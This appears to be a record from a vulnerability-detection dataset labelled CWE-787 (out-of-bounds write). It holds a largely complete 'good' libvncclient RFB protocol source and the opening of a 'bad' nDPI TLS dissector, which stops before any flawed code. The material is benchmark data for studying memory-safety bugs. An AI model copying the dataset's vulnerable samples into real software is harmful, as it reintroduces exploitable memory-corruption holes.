rfbClientSwap32IfLE(rfbEncodingCoRRE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } else /* if (!tunnelSpecified) */ { /* If -tunnel option was provided, we assume that server machine is not in the local network so we use default compression level for tight encoding instead of fast compression. Thus we are requesting level 1 compression only if tunneling is not used. */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCompressLevel1); } if (client->appData.enableJPEG) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } /* Remote Cursor Support (local to viewer) */ if (client->appData.useRemoteCursor) { if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRichCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingPointerPos); } /* Keyboard State Encodings */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingKeyboardLedState); /* New Frame Buffer Size */ if (se->nEncodings < MAX_ENCODINGS && client->canHandleNewFBSize) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingNewFBSize); /* Last Rect */ if (se->nEncodings < MAX_ENCODINGS && requestLastRectEncoding) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingLastRect); /* Server Capabilities */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedMessages); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedEncodings); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingServerIdentity); /* xvp */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXvp); /* client extensions */ for(e = rfbClientExtensions; e; e = e->next) if(e->encodings) { int* enc; for(enc = e->encodings; *enc; enc++) if(se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(*enc); } len = sz_rfbSetEncodingsMsg + se->nEncodings * 4; se->nEncodings = rfbClientSwap16IfLE(se->nEncodings); if (!WriteToRFBServer(client, buf, len)) return FALSE; return TRUE; } /* * SendIncrementalFramebufferUpdateRequest. */ rfbBool SendIncrementalFramebufferUpdateRequest(rfbClient* client) { return SendFramebufferUpdateRequest(client, client->updateRect.x, client->updateRect.y, client->updateRect.w, client->updateRect.h, TRUE); } /* * SendFramebufferUpdateRequest. */ rfbBool SendFramebufferUpdateRequest(rfbClient* client, int x, int y, int w, int h, rfbBool incremental) { rfbFramebufferUpdateRequestMsg fur; if (!SupportsClient2Server(client, rfbFramebufferUpdateRequest)) return TRUE; fur.type = rfbFramebufferUpdateRequest; fur.incremental = incremental ? 1 : 0; fur.x = rfbClientSwap16IfLE(x); fur.y = rfbClientSwap16IfLE(y); fur.w = rfbClientSwap16IfLE(w); fur.h = rfbClientSwap16IfLE(h); if (!WriteToRFBServer(client, (char *)&fur, sz_rfbFramebufferUpdateRequestMsg)) return FALSE; return TRUE; } /* * SendScaleSetting. */ rfbBool SendScaleSetting(rfbClient* client,int scaleSetting) { rfbSetScaleMsg ssm; ssm.scale = scaleSetting; ssm.pad = 0; /* favor UltraVNC SetScale if both are supported */ if (SupportsClient2Server(client, rfbSetScale)) { ssm.type = rfbSetScale; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } if (SupportsClient2Server(client, rfbPalmVNCSetScaleFactor)) { ssm.type = rfbPalmVNCSetScaleFactor; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } return TRUE; } /* * TextChatFunctions (UltraVNC) * Extremely bandwidth friendly method of communicating with a user * (Think HelpDesk type applications) */ rfbBool TextChatSend(rfbClient* client, char *text) { rfbTextChatMsg chat; int count = strlen(text); if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = (uint32_t)count; chat.length = rfbClientSwap32IfLE(chat.length); if (!WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg)) return FALSE; if (count>0) { if (!WriteToRFBServer(client, text, count)) return FALSE; } return TRUE; } rfbBool TextChatOpen(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatOpen); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatClose(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatClose); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatFinish(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatFinished); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } /* * UltraVNC Server Input Disable * Apparently, the remote client can *prevent* the local user from interacting with the display * I would think this is extremely helpful when used in a HelpDesk situation */ rfbBool PermitServerInput(rfbClient* client, int enabled) { rfbSetServerInputMsg msg; if (!SupportsClient2Server(client, rfbSetServerInput)) return TRUE; /* enabled==1, then server input from local keyboard is disabled */ msg.type = rfbSetServerInput; msg.status = (enabled ? 1 : 0); msg.pad = 0; return (WriteToRFBServer(client, (char *)&msg, sz_rfbSetServerInputMsg) ? TRUE : FALSE); } /* * send xvp client message * A client supporting the xvp extension sends this to request that the server initiate * a clean shutdown, clean reboot or abrupt reset of the system whose framebuffer the * client is displaying. * * only version 1 is defined in the protocol specs * * possible values for code are: * rfbXvp_Shutdown * rfbXvp_Reboot * rfbXvp_Reset */ rfbBool SendXvpMsg(rfbClient* client, uint8_t version, uint8_t code) { rfbXvpMsg xvp; if (!SupportsClient2Server(client, rfbXvp)) return TRUE; xvp.type = rfbXvp; xvp.pad = 0; xvp.version = version; xvp.code = code; if (!WriteToRFBServer(client, (char *)&xvp, sz_rfbXvpMsg)) return FALSE; return TRUE; } /* * SendPointerEvent. */ rfbBool SendPointerEvent(rfbClient* client,int x, int y, int buttonMask) { rfbPointerEventMsg pe; if (!SupportsClient2Server(client, rfbPointerEvent)) return TRUE; pe.type = rfbPointerEvent; pe.buttonMask = buttonMask; if (x < 0) x = 0; if (y < 0) y = 0; pe.x = rfbClientSwap16IfLE(x); pe.y = rfbClientSwap16IfLE(y); return WriteToRFBServer(client, (char *)&pe, sz_rfbPointerEventMsg); } /* * SendKeyEvent. */ rfbBool SendKeyEvent(rfbClient* client, uint32_t key, rfbBool down) { rfbKeyEventMsg ke; if (!SupportsClient2Server(client, rfbKeyEvent)) return TRUE; memset(&ke, 0, sizeof(ke)); ke.type = rfbKeyEvent; ke.down = down ? 1 : 0; ke.key = rfbClientSwap32IfLE(key); return WriteToRFBServer(client, (char *)&ke, sz_rfbKeyEventMsg); } /* * SendClientCutText. */ rfbBool SendClientCutText(rfbClient* client, char *str, int len) { rfbClientCutTextMsg cct; if (!SupportsClient2Server(client, rfbClientCutText)) return TRUE; memset(&cct, 0, sizeof(cct)); cct.type = rfbClientCutText; cct.length = rfbClientSwap32IfLE(len); return (WriteToRFBServer(client, (char *)&cct, sz_rfbClientCutTextMsg) && WriteToRFBServer(client, str, len)); } /* * HandleRFBServerMessage. */ rfbBool HandleRFBServerMessage(rfbClient* client) { rfbServerToClientMsg msg; if (client->serverPort==-1) client->vncRec->readTimestamp = TRUE; if (!ReadFromRFBServer(client, (char *)&msg, 1)) return FALSE; switch (msg.type) { case rfbSetColourMapEntries: { /* TODO: int i; uint16_t rgb[3]; XColor xc; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbSetColourMapEntriesMsg - 1)) return FALSE; msg.scme.firstColour = rfbClientSwap16IfLE(msg.scme.firstColour); msg.scme.nColours = rfbClientSwap16IfLE(msg.scme.nColours); for (i = 0; i < msg.scme.nColours; i++) { if (!ReadFromRFBServer(client, (char *)rgb, 6)) return FALSE; xc.pixel = msg.scme.firstColour + i; xc.red = rfbClientSwap16IfLE(rgb[0]); xc.green = rfbClientSwap16IfLE(rgb[1]); xc.blue = rfbClientSwap16IfLE(rgb[2]); xc.flags = DoRed|DoGreen|DoBlue; XStoreColor(dpy, cmap, &xc); } */ break; } case rfbFramebufferUpdate: { rfbFramebufferUpdateRectHeader rect; int linesToRead; int bytesPerLine; int i; if (!ReadFromRFBServer(client, ((char *)&msg.fu) + 1, sz_rfbFramebufferUpdateMsg - 1)) return FALSE; msg.fu.nRects = rfbClientSwap16IfLE(msg.fu.nRects); for (i = 0; i < msg.fu.nRects; i++) { if (!ReadFromRFBServer(client, (char *)&rect, sz_rfbFramebufferUpdateRectHeader)) return FALSE; rect.encoding = rfbClientSwap32IfLE(rect.encoding); if (rect.encoding == rfbEncodingLastRect) break; rect.r.x = rfbClientSwap16IfLE(rect.r.x); rect.r.y = rfbClientSwap16IfLE(rect.r.y); rect.r.w = rfbClientSwap16IfLE(rect.r.w); rect.r.h = rfbClientSwap16IfLE(rect.r.h); if (rect.encoding == rfbEncodingXCursor || rect.encoding == rfbEncodingRichCursor) { if (!HandleCursorShape(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h, rect.encoding)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingPointerPos) { if (!client->HandleCursorPos(client,rect.r.x, rect.r.y)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingKeyboardLedState) { /* OK! We have received a keyboard state message!!! */ client->KeyboardLedStateEnabled = 1; if (client->HandleKeyboardLedState!=NULL) client->HandleKeyboardLedState(client, rect.r.x, 0); /* stash it for the future */ client->CurrentKeyboardLedState = rect.r.x; continue; } if (rect.encoding == rfbEncodingNewFBSize) { client->width = rect.r.w; client->height = rect.r.h; client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, rect.r.w, rect.r.h, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", rect.r.w, rect.r.h); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingSupportedMessages) { int loop; if (!ReadFromRFBServer(client, (char *)&client->supportedMessages, sz_rfbSupportedMessages)) return FALSE; /* msgs is two sets of bit flags of supported messages client2server[] and server2client[] */ /* currently ignored by this library */ rfbClientLog("client2server supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.client2server[loop], client->supportedMessages.client2server[loop+1], client->supportedMessages.client2server[loop+2], client->supportedMessages.client2server[loop+3], client->supportedMessages.client2server[loop+4], client->supportedMessages.client2server[loop+5], client->supportedMessages.client2server[loop+6], client->supportedMessages.client2server[loop+7]); rfbClientLog("server2client supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.server2client[loop], client->supportedMessages.server2client[loop+1], client->supportedMessages.server2client[loop+2], client->supportedMessages.server2client[loop+3], client->supportedMessages.server2client[loop+4], client->supportedMessages.server2client[loop+5], client->supportedMessages.server2client[loop+6], client->supportedMessages.server2client[loop+7]); continue; } /* rect.r.w=byte count, rect.r.h=# of encodings */ if (rect.encoding == rfbEncodingSupportedEncodings) { char *buffer; buffer = malloc(rect.r.w); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } /* buffer now contains rect.r.h # of uint32_t encodings that the server supports */ /* currently ignored by this library */ free(buffer); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingServerIdentity) { char *buffer; buffer = malloc(rect.r.w+1); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } buffer[rect.r.w]=0; /* null terminate, just in case */ rfbClientLog("Connected to Server \"%s\"\n", buffer); free(buffer); continue; } /* rfbEncodingUltraZip is a collection of subrects. x = # of subrects, and h is always 0 */ if (rect.encoding != rfbEncodingUltraZip) { if ((rect.r.x + rect.r.w > client->width) || (rect.r.y + rect.r.h > client->height)) { rfbClientLog("Rect too large: %dx%d at (%d, %d)\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y); return FALSE; } /* UltraVNC with scaling, will send rectangles with a zero W or H * if ((rect.encoding != rfbEncodingTight) && (rect.r.h * rect.r.w == 0)) { rfbClientLog("Zero size rect - ignoring (encoding=%d (0x%08x) %dx, %dy, %dw, %dh)\n", rect.encoding, rect.encoding, rect.r.x, rect.r.y, rect.r.w, rect.r.h); continue; } */ /* If RichCursor encoding is used, we should prevent collisions between framebuffer updates and cursor drawing operations. */ client->SoftCursorLockArea(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } switch (rect.encoding) { case rfbEncodingRaw: { int y=rect.r.y, h=rect.r.h; bytesPerLine = rect.r.w * client->format.bitsPerPixel / 8; /* RealVNC 4.x-5.x on OSX can induce bytesPerLine==0, usually during GPU accel. */ /* Regardless of cause, do not divide by zero. */ linesToRead = bytesPerLine ? (RFB_BUFFER_SIZE / bytesPerLine) : 0; while (linesToRead && h > 0) { if (linesToRead > h) linesToRead = h; if (!ReadFromRFBServer(client, client->buffer,bytesPerLine * linesToRead)) return FALSE; client->GotBitmap(client, (uint8_t *)client->buffer, rect.r.x, y, rect.r.w,linesToRead); h -= linesToRead; y += linesToRead; } break; } case rfbEncodingCopyRect: { rfbCopyRect cr; if (!ReadFromRFBServer(client, (char *)&cr, sz_rfbCopyRect)) return FALSE; cr.srcX = rfbClientSwap16IfLE(cr.srcX); cr.srcY = rfbClientSwap16IfLE(cr.srcY); /* If RichCursor encoding is used, we should extend our "cursor lock area" (previously set to destination rectangle) to the source rectangle as well. */ client->SoftCursorLockArea(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h); client->GotCopyRect(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h, rect.r.x, rect.r.y); break; } case rfbEncodingRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingCoRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleCoRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleCoRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleCoRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingHextile: { switch (client->format.bitsPerPixel) { case 8: if (!HandleHextile8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleHextile16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleHextile32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltra: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltra8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltra16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltra32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltraZip: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltraZip8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltraZip16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltraZip32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingTRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTRLE8(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleTRLE16(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else { if (!HandleTRLE15(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor = (client->format.redMax << client->format.redShift) | (client->format.greenMax << client->format.greenShift) | (client->format.blueMax << client->format.blueShift); if ((client->format.bigEndian && (maxColor & 0xff) == 0) || (!client->format.bigEndian && (maxColor & 0xff000000) == 0)) { if (!HandleTRLE24(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor & 0xff) == 0) { if (!HandleTRLE24Up(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor & 0xff000000) == 0) { if (!HandleTRLE24Down(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!HandleTRLE32(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; } } break; } #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZlib8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleZlib16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleZlib32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTight8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleTight16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleTight32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #endif case rfbEncodingZRLE: /* Fail safe for ZYWRLE unsupport VNC server. */ client->appData.qualityLevel = 9; /* fall through */ case rfbEncodingZYWRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZRLE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleZRLE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else { if (!HandleZRLE15(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor=(client->format.redMax<<client->format.redShift)| (client->format.greenMax<<client->format.greenShift)| (client->format.blueMax<<client->format.blueShift); if ((client->format.bigEndian && (maxColor&0xff)==0) || (!client->format.bigEndian && (maxColor&0xff000000)==0)) { if (!HandleZRLE24(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor&0xff)==0) { if (!HandleZRLE24Up(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor&0xff000000)==0) { if (!HandleZRLE24Down(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!HandleZRLE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } } break; } #endif default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleEncoding && e->handleEncoding(client, &rect)) handled = TRUE; if(!handled) { rfbClientLog("Unknown rect encoding %d\n", (int)rect.encoding); return FALSE; } } } /* Now we may discard "soft cursor locks". */ client->SoftCursorUnlockScreen(client); client->GotFrameBufferUpdate(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } if (!SendIncrementalFramebufferUpdateRequest(client)) return FALSE; if (client->FinishedFrameBufferUpdate) client->FinishedFrameBufferUpdate(client); break; } case rfbBell: { client->Bell(client); break; } case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); if (msg.sct.length > 1<<20) { rfbClientErr("Ignoring too big cut text length sent by server: %u B > 1 MB\n", (unsigned int)msg.sct.length); return FALSE; } buffer = malloc((uint64_t)msg.sct.length+1); if (!ReadFromRFBServer(client, buffer, msg.sct.length)) { free(buffer); return FALSE; } buffer[msg.sct.length] = 0; if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); free(buffer); break; } case rfbTextChat: { char *buffer=NULL; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbTextChatMsg- 1)) return FALSE; msg.tc.length = rfbClientSwap32IfLE(msg.sct.length); switch(msg.tc.length) { case rfbTextChatOpen: rfbClientLog("Received TextChat Open\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatOpen, NULL); break; case rfbTextChatClose: rfbClientLog("Received TextChat Close\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatClose, NULL); break; case rfbTextChatFinished: rfbClientLog("Received TextChat Finished\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatFinished, NULL); break; default: buffer=malloc(msg.tc.length+1); if (!ReadFromRFBServer(client, buffer, msg.tc.length)) { free(buffer); return FALSE; } /* Null Terminate <just in case> */ buffer[msg.tc.length]=0; rfbClientLog("Received TextChat \"%s\"\n", buffer); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)msg.tc.length, buffer); free(buffer); break; } break; } case rfbXvp: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbXvpMsg -1)) return FALSE; SetClient2Server(client, rfbXvp); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbXvp); if(client->HandleXvpMsg) client->HandleXvpMsg(client, msg.xvp.version, msg.xvp.code); break; } case rfbResizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbResizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.rsfb.framebufferWidth); client->height = rfbClientSwap16IfLE(msg.rsfb.framebufferHeigth); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } case rfbPalmVNCReSizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbPalmVNCReSizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.prsfb.buffer_w); client->height = rfbClientSwap16IfLE(msg.prsfb.buffer_h); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleMessage && e->handleMessage(client, &msg)) handled = TRUE; if(!handled) { char buffer[256]; rfbClientLog("Unknown message type %d from VNC server\n",msg.type); ReadFromRFBServer(client, buffer, 256); return FALSE; } } } return TRUE; } #define GET_PIXEL8(pix, ptr) ((pix) = *(ptr)++) #define GET_PIXEL16(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++) #define GET_PIXEL32(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++, \ ((uint8_t*)&(pix))[2] = *(ptr)++, \ ((uint8_t*)&(pix))[3] = *(ptr)++) /* CONCAT2 concatenates its two arguments. CONCAT2E does the same but also expands its arguments if they are macros */ #define CONCAT2(a,b) a##b #define CONCAT2E(a,b) CONCAT2(a,b) #define CONCAT3(a,b,c) a##b##c #define CONCAT3E(a,b,c) CONCAT3(a,b,c) #define BPP 8 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #undef BPP #define BPP 16 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 15 #include "trle.c" #define REALBPP 15 #include "zrle.c" #undef BPP #define BPP 32 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 24 #include "trle.c" #define REALBPP 24 #include "zrle.c" #define REALBPP 24 #define UNCOMP 8 #include "trle.c" #define REALBPP 24 #define UNCOMP 8 #include "zrle.c" #define REALBPP 24 #define UNCOMP -8 #include "trle.c" #define REALBPP 24 #define UNCOMP -8 #include "zrle.c" #undef BPP /* * PrintPixelFormat. */ void PrintPixelFormat(rfbPixelFormat *format) { if (format->bitsPerPixel == 1) { rfbClientLog(" Single bit per pixel.\n"); rfbClientLog( " %s significant bit in each byte is leftmost on the screen.\n", (format->bigEndian ? "Most" : "Least")); } else { rfbClientLog(" %d bits per pixel.\n",format->bitsPerPixel); if (format->bitsPerPixel != 8) { rfbClientLog(" %s significant byte first in each pixel.\n", (format->bigEndian ? "Most" : "Least")); } if (format->trueColour) { rfbClientLog(" TRUE colour: max red %d green %d blue %d" ", shift red %d green %d blue %d\n", format->redMax, format->greenMax, format->blueMax, format->redShift, format->greenShift, format->blueShift); } else { rfbClientLog(" Colour map (not true colour).\n"); } } } /* avoid name clashes with LibVNCServer */ #define rfbEncryptBytes rfbClientEncryptBytes #define rfbEncryptBytes2 rfbClientEncryptBytes2 #define rfbDes rfbClientDes #define rfbDesKey rfbClientDesKey #define rfbUseKey rfbClientUseKey #include "vncauth.c" #include "d3des.c"
./CrossVul/dataset_final_sorted/CWE-787/c/good_519_0
crossvul-cpp_data_bad_4217_0
/* * tls.c - SSL/TLS/DTLS dissector * * Copyright (C) 2016-20 - ntop.org * * This file is part of nDPI, an open source deep packet inspection * library based on the OpenDPI and PACE technology by ipoque GmbH * * nDPI is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * nDPI is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with nDPI. If not, see <http://www.gnu.org/licenses/>. * */ #include "ndpi_protocol_ids.h" #define NDPI_CURRENT_PROTO NDPI_PROTOCOL_TLS #include "ndpi_api.h" #include "ndpi_md5.h" #include "ndpi_sha1.h" extern char *strptime(const char *s, const char *format, struct tm *tm); extern int processClientServerHello(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow); // #define DEBUG_TLS_MEMORY 1 // #define DEBUG_TLS 1 // #define DEBUG_CERTIFICATE_HASH /* #define DEBUG_FINGERPRINT 1 */ /* #define DEBUG_ENCRYPTED_SNI 1 */ /* NOTE How to view the certificate fingerprint 1. Using wireshark save the certificate on certificate.bin file as explained in https://security.stackexchange.com/questions/123851/how-can-i-extract-the-certificate-from-this-pcap-file 2. openssl x509 -inform der -in certificate.bin -text > certificate.der 3. openssl x509 -noout -fingerprint -sha1 -inform pem -in certificate.der SHA1 Fingerprint=15:9A:76.... $ shasum -a 1 www.grc.com.bin 159a76..... */ #define NDPI_MAX_TLS_REQUEST_SIZE 10000 /* skype.c */ extern u_int8_t is_skype_flow(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow); /* stun.c */ extern u_int32_t get_stun_lru_key(struct ndpi_flow_struct *flow, u_int8_t rev); static void ndpi_int_tls_add_connection(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow, u_int32_t protocol); /* **************************************** */ static u_int32_t ndpi_tls_refine_master_protocol(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow, u_int32_t protocol) { struct ndpi_packet_struct *packet = &flow->packet; // protocol = NDPI_PROTOCOL_TLS; if(packet->tcp != NULL) { switch(protocol) { case NDPI_PROTOCOL_TLS: { /* In case of SSL there are probably sub-protocols such as IMAPS that can be otherwise detected */ u_int16_t sport = ntohs(packet->tcp->source); u_int16_t dport = ntohs(packet->tcp->dest); if((sport == 465) || (dport == 465) || (sport == 587) || (dport == 587)) protocol = NDPI_PROTOCOL_MAIL_SMTPS; else if((sport == 993) || (dport == 993) || 